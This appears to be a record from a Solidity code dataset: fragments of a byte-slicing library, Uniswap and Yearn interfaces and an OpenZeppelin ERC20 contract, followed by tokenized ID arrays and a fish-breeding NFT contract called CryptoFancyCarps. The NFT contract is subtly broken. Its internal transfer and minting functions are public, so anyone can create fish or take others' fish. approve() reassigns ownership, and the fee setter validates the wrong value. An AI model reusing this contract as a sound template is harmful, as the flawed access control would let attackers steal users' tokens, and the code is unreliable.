// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(
add(
add(_bytes, lengthmod),
mul(0x20, iszero(lengthmod))
),
_start
)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function toAddress(bytes memory _bytes, uint256 _start)
internal
pure
returns (address)
{
require(_start + 20 >= _start, "toAddress_overflow");
require(_bytes.length >= _start + 20, "toAddress_outOfBounds");
address tempAddress;
assembly {
tempAddress := div(
mload(add(add(_bytes, 0x20), _start)),
0x1000000000000000000000000
)
}
return tempAddress;
}
function toUint24(bytes memory _bytes, uint256 _start)
internal
pure
returns (uint24)
{
require(_start + 3 >= _start, "toUint24_overflow");
require(_bytes.length >= _start + 3, "toUint24_outOfBounds");
uint24 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x3), _start))
}
return tempUint;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Callback for IUniswapV3PoolActions#swap
/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface
interface IUniswapV3SwapCallback {
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @dev In the implementation you must pay the pool tokens owed for the swap.
/// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.
/// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.7.4;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IYVault is IERC20 {
function token() external view returns (address);
function deposit() external returns (uint256);
function deposit(uint256 _amount) external returns (uint256);
function deposit(uint256 _amount, address recipient)
external
returns (uint256);
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient)
external
returns (uint256);
function withdraw(
uint256 maxShares,
address recipient,
uint256 maxLoss
) external returns (uint256);
function pricePerShare() external view returns (uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
} | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./* @dev Sets the values for {name} and {symbol}, initializes {decimals} with a default value of 18. To select a different value for {decimals}, use {_setupDecimals}. All three of these values are immutable: they can only be set once during construction./* @dev Returns the name of the token./* @dev Returns the symbol of the token, usually a shorter version of the name./* @dev Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is called. NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}./* @dev See {IERC20-totalSupply}./* @dev See {IERC20-balanceOf}./* @dev See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`./* @dev See {IERC20-allowance}./* @dev See {IERC20-approve}. Requirements: - `spender` cannot be the zero address./* @dev See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./* @dev Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./* @dev Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`./* @dev Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./* @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. Emits a {Transfer} event with `from` set to the zero address. Requirements: - `to` cannot be the zero address./* @dev Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` tokens./* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./* @dev Sets {decimals} to a value other than the default one of 18. WARNING: This function should only be called from the constructor. Most applications that interact with token contracts will not expect {decimals} to ever change, and may work incorrectly if it does./ | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
}
| 13,890,345 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
1071,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
5024,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
5024,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
5024,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
2
] |
pragma solidity ^0.4.23;
//////////
//////////
////////// Library SafeMath
//////////
//////////
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//////////
//////////
////////// Contract Ownable
//////////
//////////
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
address public owner;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
/*function Ownable() public {
owner = msg.sender;
}*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/*** Pausable functionality adapted from OpenZeppelin ***/
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyOwner whenNotPaused {
paused = true;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
//////////
//////////
////////// Contract FishFactory
//////////
//////////
contract FishFactory is Ownable {
using SafeMath for uint256;
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new fish comes into existence. This obviously
/// includes any time a fish is created through the giveBirth method, but it is also called
/// when a new gen0 fish is created.
event Birth(address owner, uint32 fishId, uint32 matronId, uint32 sireId, uint256 genes);
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time a fish
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** DATA TYPES ***/
/// @dev The main Fish struct. Every fish in CryptoFish is represented by a copy
/// of this structure, so great care was taken to ensure that it fits neatly into
/// exactly two 256-bit words. Note that the order of the members in this structure
/// is important because of the byte-packing rules used by Ethereum.
/// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html
struct Fish {
// The Fish's genetic code is packed into these 256-bits, the format is
// sooper-sekret! A fish's genes never change.
uint256 genes;
// The timestamp from the block when this Fish came into existence.
uint64 birthTime;
// The minimum timestamp after which this cat can engage in breeding
// activities again. This same timestamp is used for the pregnancy
// timer (for matrons) as well as the siring cooldown.
uint64 cooldownEndBlock;
// The ID of the parents of this Fish, set to 0 for gen0 Fishes.
// Note that using 32-bit unsigned integers limits us to a "mere"
// 4 billion Fishes. This number might seem small until you realize
// that Ethereum currently has a limit of about 500 million
// transactions per year! So, this definitely won't be a problem
// for several years (even as Ethereum learns to scale).
uint32 matronId;
uint32 sireId;
// Set to the ID of the sire Fish for matrons that are pregnant,
// zero otherwise. A non-zero value here is how we know a Fish
// is pregnant. Used to retrieve the genetic material for the new
// Fish when the birth transpires.
uint32 siringWithId;
// Set to the index in the cooldown array (see below) that represents
// the current cooldown duration for this Fish. This starts at zero
// for gen0 Fishes, and is initialized to floor(generation/2) for others.
// Incremented by one for each successful breeding action, regardless
// of whether this Fish is acting as matron or sire.
uint16 cooldownIndex;
// The "generation number" of this Fish. Fishes minted by the CK contract
// for sale are called "gen0" and have a generation number of 0. The
// generation number of all other Fishes is the larger of the two generation
// numbers of their parents, plus one.
// (i.e. max(matron.generation, sire.generation) + 1)
uint16 generation;
}
/*** CONSTANTS ***/
/// @dev A lookup table indiFishing the cooldown duration after any successful
/// breeding action, called "pregnancy time" for matrons and "siring cooldown"
/// for sires. Designed such that the cooldown roughly doubles each time a Fish
/// is bred, encouraging owners not to just keep breeding the same Fish over
/// and over again. Caps out at one week (a Fish can breed an unbounded number
/// of times, and the maximum cooldown is always seven days).
uint32[14] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(10 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
/// @dev An array containing the Fish struct for all Fishes in existence. The ID
/// of each Fish is actually an index into this array. Note that ID 0 is a negaFish,
/// the unFish, the mythical beast that is the parent of all gen0 Fishes. A bizarre
/// creature that is both matron and sire... to itself! Has an invalid genetic code.
/// In other words, Fish ID 0 is invalid... ;-)
Fish[] public fishes;
/// @dev A mapping from Fish IDs to the address that owns them. All Fishes have
/// some valid owner address, even gen0 Fishes are created with a non-zero owner.
mapping (uint256 => address) public fishToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) public ownerFishCount;
/// @dev A mapping from FishIDs to an address that has been approved to call
/// transferFrom(). Each Fish can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public fishApprovals;
/// @dev A mapping from FishIDs to an address that has been approved to use
/// this Fish for siring via breedWith(). Each Fish can only have one approved
/// address for siring at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public sireAllowedAddress;
/// @dev Assigns ownership of a specific Fish to an address.
function _transfer(address _from, address _to, uint256 _tokenId) public {
// Since the number of fishes is capped to 2^32 we can't overflow this
ownerFishCount[_to]=ownerFishCount[_to].add(1);
// transfer ownership
fishToOwner[_tokenId] = _to;
if (_from != 0) {
ownerFishCount[_from]=ownerFishCount[_from].sub(1);
// once the fish is transferred also clear sire allowances
delete sireAllowedAddress[_tokenId];
// clear any previously approved ownership exchange
delete fishApprovals[_tokenId];
}
// Emit the transfer event.
emit Transfer(_from, _to, _tokenId);
}
function _createFish(
uint256 _genes,
uint32 _matronId,
uint32 _sireId,
uint16 _generation,
address _owner
)
public
returns (uint256)
{
// New Fish starts with the same cooldown as parent gen/2
uint16 cooldownIndex = uint16(_generation / 2);
if (cooldownIndex > 13) {
cooldownIndex = 13;
}
Fish memory _fish = Fish({
genes: _genes,
birthTime: uint64(block.timestamp),
cooldownEndBlock: 0,
matronId: uint32(_matronId),
sireId: uint32(_sireId),
siringWithId: 0,
cooldownIndex: cooldownIndex,
generation: uint16(_generation)
});
uint256 _newFishId = fishes.push(_fish) - 1;
// It's probably never going to happen, 4 billion fishes is A LOT, but
// let's just be 100% sure we never let this happen.
uint32 newFishId = (uint32) (_newFishId);
//require(_newFishId == uint256(newFishId));
// emit the birth event
emit Birth(
_owner,
newFishId,
_fish.matronId,
_fish.sireId,
_fish.genes
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newFishId);
return newFishId;
}
}
//////////
//////////
////////// Contract ERC721
//////////
//////////
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function totalSupply() public view returns(uint256 _supply);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
//////////
//////////
////////// Contract FishOwnership
//////////
//////////
contract FishOwnership is FishFactory, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant token_name = "CryptoFancyCarps";
string public constant token_symbol = "CFC";
using SafeMath for uint256;
modifier onlyOwnerOf(uint _tokenId) {
require(msg.sender == fishToOwner[_tokenId]);
_;
}
modifier onlyApprovedOf(uint _tokenId){
require(msg.sender == fishApprovals[_tokenId]);
_;
}
/// implementions of ERC721
function name() public view returns(string _name){
return token_name;
}
function symbol() public view returns (string _symbol){
return token_symbol;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return ownerFishCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
return fishToOwner[_tokenId];
}
/// @notice Returns the total number of Fishes currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return fishes.length;
}
function approve(address _to, uint256 _tokenId) public whenNotPaused onlyOwnerOf(_tokenId) {
fishToOwner[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public whenNotPaused onlyApprovedOf(_tokenId){
address owner = ownerOf(_tokenId);
_transfer(owner, msg.sender, _tokenId);
}
/// @notice Returns a list of all Fish IDs assigned to an address.
/// @param _owner The owner whose Fishes we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Fish array looking for fishes belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalfishs = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all fishes have IDs starting at 1 and increasing
// sequentially up to the totalfish count.
uint256 fishId;
for (fishId = 1; fishId < totalfishs; fishId++) {
if (fishToOwner[fishId] == _owner) {
result[resultIndex] = fishId;
resultIndex++;
}
}
return result;
}
}
}
//////////
//////////
////////// Contract FishSale
//////////
//////////
contract FishSale is FishOwnership {
// Represents an sale on an NFT
struct Sale {
// Current owner of NFT
address seller;
// Price (in wei) of sale
uint128 price;
// Time when sale started
// NOTE: 0 if this sale has been concluded
uint64 startedAt;
}
// NFT
mapping (uint256 => Sale) public tokenIdToSale;
event SaleCreated(uint256 tokenId, uint256 price);
event SaleSuccessful(uint256 tokenId, uint256 price, address buyer);
event SaleCancelled(uint256 tokenId);
// Tracks last 5 sale price of gen0 kitty sales
uint256 public gen0SaleCount;
uint256[5] public lastGen0SalePrices;
// Fee owner takes on each sale, measured in basis points (1/100 of a percent).
// Values 0-10,000 map to 0%-100%
uint256 internal saleFee;
/*(function FishSale() public {
saleFee = 500;
}*/
constructor () public {
saleFee = 500;
}
/// @dev Computes owner's fee of a sale.
/// @param _saleFee - Sale price of NFT.
function setSaleFee(uint256 _saleFee) external onlyOwner {
if (saleFee < 10000 && saleFee >= 0)
saleFee = _saleFee;
}
/// @dev Computes owner's fee of a sale.
/// @param _price - Sale price of NFT.
function _computeFee(uint256 _price) internal view returns (uint256) {
// NOTE: We don't use SafeMath (or similar) in this function because
// all of our entry functions carefully cap the maximum values for
// currency (at 128-bits), and saleFee <= 10000 (see the require()
// statement in the ClockAuction constructor). The result of this
// function is always guaranteed to be <= _price.
return _price * saleFee / 10000;
}
function onSaleTokens() external view returns(uint[]){
uint256 totalfishs = totalSupply();
uint256 resultIndex = 0;
uint256 num = 0;
// We count on the fact that all fishes have IDs starting at 1 and increasing
// sequentially up to the totalfish count.
uint256 fishId;
for (fishId = 0; fishId < totalfishs; fishId++) {
if (tokenIdToSale[fishId].startedAt != 0) {
// means it is not NULL
//result[resultIndex] = fishId;
num++;
}
}
// query twice to init an array
uint256[] memory result = new uint256[](num);
for (fishId = 0; fishId < totalfishs; fishId++) {
if (tokenIdToSale[fishId].startedAt != 0) {
// means it is not NULL
result[resultIndex] = fishId;
resultIndex++;
}
}
return result;
}
/// @dev Adds an sale to the list of open sales. Also fires the
/// SaleCreated event.
/// @param _tokenId The ID of the token to be put on sale.
/// @param _sale Sale to add.
function _addSale(uint256 _tokenId, Sale _sale) internal {
tokenIdToSale[_tokenId] = _sale;
emit SaleCreated(
uint256(_tokenId),
uint256(_sale.price)
);
}
/// @dev Creates and begins a new sale.
/// @param _tokenId - ID of token to sale, sender must be owner.
/// @param _price - Price of item (in wei) of sale.
/// Seller, is the message sender
function createSale(
uint256 _tokenId,
uint256 _price
)
external
whenNotPaused
onlyOwnerOf(_tokenId)
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the sale struct.
require(_price == uint256(uint128(_price)));
Sale memory sale = Sale(
msg.sender,
uint128(_price),
uint64(block.timestamp)
);
_addSale(_tokenId, sale);
}
function _createSale(
uint256 _tokenId,
uint256 _price,
address _seller
)
internal
whenNotPaused
onlyOwnerOf(_tokenId)
{
// Sanity check that no inputs overflow how many bits we've allocated
// to store them in the sale struct.
require(_price == uint256(uint128(_price)));
Sale memory sale = Sale(
_seller,
uint128(_price),
uint64(block.timestamp)
);
_addSale(_tokenId, sale);
}
/// @dev Removes an sale from the list of open sales.
/// @param _tokenId - ID of NFT on sale.
function _removeSale(uint256 _tokenId) internal {
delete tokenIdToSale[_tokenId];
}
/// @dev Cancels an sale unconditionally.
/// @param _tokenId - ID of NFT on sale.
function _cancelSale(uint256 _tokenId) internal {
_removeSale(_tokenId);
emit SaleCancelled(_tokenId);
}
/// @dev Returns true if the NFT is on sale.
/// @param _sale - Sale to check.
function _isOnSale(Sale storage _sale) internal view returns (bool) {
return (_sale.startedAt > 0);
}
/// Returns the NFT to original owner.
/// @notice This is a state-modifying function that can
/// be called while the contract is paused.
/// @param _tokenId - ID of token on sale
function cancelSale(uint256 _tokenId)
external
onlyOwnerOf(_tokenId)
{
Sale storage sale = tokenIdToSale[_tokenId];
require(_isOnSale(sale));
_cancelSale(_tokenId);
}
/// @dev Computes the price and transfers ownership.
function _buyOwnership(uint256 _tokenId, uint256 _buyOwnershipAmount)
internal
returns (uint256)
{
// Get a reference to the sale struct
Sale storage sale = tokenIdToSale[_tokenId];
// Explicitly check that this sale is currently live.
// (Because of how Ethereum mappings work, we can't just count
// on the lookup above failing. An invalid _tokenId will just
// return an sale object that is all zeros.)
require(_isOnSale(sale));
// Check that amount is bigger or equal to the current price
uint256 price = sale.price;
require(_buyOwnershipAmount >= price);
// Grab a reference to the seller before the sale struct
// gets deleted.
address seller = sale.seller;
// The sale is good! Remove the sale before sending the fees
// to the sender so we can't have a reentrancy attack.
_removeSale(_tokenId);
// Transfer proceeds to seller (if there are any!)
if (price > 0) {
// Calculate the transaction fee to contract address
// (NOTE: _computeFee() is guaranteed to return a
// value <= price, so this subtraction can't go negative.)
uint256 saleeerFee = _computeFee(price);
uint256 sellerProceeds = price - saleeerFee;
// NOTE: Doing a transfer() in the middle of a complex
// method like this is generally discouraged because of
// reentrancy attacks and DoS attacks if the seller is
// a contract with an invalid fallback function. We explicitly
// guard against reentrancy attacks by removing the sale
// before calling transfer(), and the only thing the seller
// can DoS is the sale of their own asset! (And if it's an
// accident, they can call cancelSale(). )
seller.transfer(sellerProceeds);
}
Fish storage f = fishes[_tokenId];
if (f.generation == 0) {
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
// Calculate any excess funds included with the bid. If the excess
// is anything worth worrying about, transfer it back to bidder.
// NOTE: We checked above that the bid amount is greater than or
// equal to the price so this cannot underflow.
uint256 bidExcess = _buyOwnershipAmount - price;
// Return the funds. Similar to the previous transfer, this is
// not susceptible to a re-entry attack because the sale is
// removed before any transfers occur.
msg.sender.transfer(bidExcess);
// Tell the world!
emit SaleSuccessful(_tokenId, price, msg.sender);
return price;
}
/// @dev buyOwnership an open sale, completing the sale and transferring
/// ownership of the NFT if enough Ether is supplied.
/// @param _tokenId - ID of token to buy.
function buyOwnership(uint256 _tokenId)
external
payable
whenNotPaused
{
// Get a reference to the sale struct
Sale storage sale = tokenIdToSale[_tokenId];
address seller = sale.seller;
// _buy will throw if the buy or funds transfer fails
_buyOwnership(_tokenId, msg.value);
// seller address
// transfer happens from seller to buyer
_transfer(seller,msg.sender, _tokenId);
}
function averageGen0SalePrice() internal view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastGen0SalePrices[i];
}
return sum / 5;
}
}
//////////
//////////
////////// Contract FishBreedingSale
//////////
//////////
contract FishBreedingSale is FishSale{
// Represents an sale on an NFT
struct BreedingSale {
// Current owner of NFT
address seller;
// Price (in wei) of sale
uint128 price;
// Time when sale started
// NOTE: 0 if this sale has been concluded
uint64 startedAt;
}
// NFT
mapping (uint256 => BreedingSale) public tokenIdToBreedingSale;
event BreedingSaleCreated(uint256 tokenId, uint256 price);
event BreedingSaleSuccessful(uint256 tokenId, uint256 price, address buyer);
